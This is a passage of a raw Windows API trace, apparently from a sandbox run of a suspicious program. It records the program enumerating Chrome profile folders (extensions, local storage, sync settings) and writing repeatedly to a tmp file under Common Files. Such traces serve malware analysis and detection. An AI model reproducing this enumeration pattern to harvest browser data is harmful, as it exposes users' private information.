lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x36000, nFileSizeHigh=0x0, nFileSizeLow=0x35771, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.523] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0134.524] GetLastError () returned 0x12 [0134.524] AreFileApisANSI () returned 1 [0134.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0134.524] GetFileType (hFile=0x198) returned 0x1 [0134.524] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ae0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ae0b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0134.571] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0134.571] GetLastError () returned 0x12 [0134.571] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0134.571] GetLastError () returned 0x12 [0134.571] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.571] GetLastError () returned 0x12 [0134.571] AreFileApisANSI () returned 1 [0134.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.571] GetFileType (hFile=0x190) returned 0x1 [0134.571] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x22d, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.572] AreFileApisANSI () returned 1 [0134.572] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0134.572] GetFileType (hFile=0x194) returned 0x1 [0134.572] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836e0310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836e0310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b8890, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0134.713] AreFileApisANSI () returned 1 [0134.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0134.713] GetFileType (hFile=0x198) returned 0x1 [0134.713] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x36000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x35b65, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0134.713] AreFileApisANSI () returned 1 [0134.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0134.714] GetFileType (hFile=0x198) returned 0x1 [0134.714] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x36000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x35c6f, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0134.714] AreFileApisANSI () returned 1 [0134.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0134.714] GetFileType (hFile=0x198) returned 0x1 [0134.714] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x36000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x35d82, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0134.714] AreFileApisANSI () returned 1 [0134.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0134.714] GetFileType (hFile=0x198) returned 0x1 [0134.714] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x36000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x35e8a, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0134.715] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0134.715] GetLastError () returned 0x12 [0134.715] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.715] GetLastError () returned 0x12 [0134.715] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0134.715] GetLastError () returned 0x12 [0134.716] AreFileApisANSI () returned 1 [0134.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0134.716] GetFileType (hFile=0x18c) returned 0x1 [0134.716] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0134.716] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0134.716] GetLastError () returned 0x12 [0134.716] AreFileApisANSI () returned 1 [0134.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0134.716] GetFileType (hFile=0x18c) returned 0x1 [0134.717] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0134.717] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0134.717] GetLastError () returned 0x12 [0134.717] AreFileApisANSI () returned 1 [0134.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0134.717] GetFileType (hFile=0x18c) returned 0x1 [0134.717] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0134.718] AreFileApisANSI () returned 1 [0134.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.718] GetFileType (hFile=0x190) returned 0x1 [0134.718] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86513570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86513570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.758] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.758] GetLastError () returned 0x12 [0134.758] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0134.758] GetLastError () returned 0x12 [0134.759] AreFileApisANSI () returned 1 [0134.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0134.759] GetFileType (hFile=0x18c) returned 0x1 [0134.759] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Storage\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83ede170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x90191d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0134.760] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0134.760] GetLastError () returned 0x12 [0134.761] AreFileApisANSI () returned 1 [0134.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0134.761] GetFileType (hFile=0x18c) returned 0x1 [0134.761] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84251e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84251e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0134.761] AreFileApisANSI () returned 1 [0134.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.761] GetFileType (hFile=0x190) returned 0x1 [0134.761] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.805] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.805] GetLastError () returned 0x12 [0134.805] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0134.806] GetLastError () returned 0x12 [0134.806] AreFileApisANSI () returned 1 [0134.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0134.806] GetFileType (hFile=0x18c) returned 0x1 [0134.806] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Web Applications\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x868593b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x868593b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0134.806] AreFileApisANSI () returned 1 [0134.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.806] GetFileType (hFile=0x190) returned 0x1 [0134.807] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86989eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86989eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.852] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.852] GetLastError () returned 0x12 [0134.852] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0134.852] GetLastError () returned 0x12 [0134.852] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0134.852] GetLastError () returned 0x12 [0134.852] AreFileApisANSI () returned 1 [0134.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0134.852] GetFileType (hFile=0x188) returned 0x1 [0134.852] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\EVWhitelist\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0134.853] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0134.853] GetLastError () returned 0x12 [0134.853] AreFileApisANSI () returned 1 [0134.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0134.853] GetFileType (hFile=0x188) returned 0x1 [0134.853] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 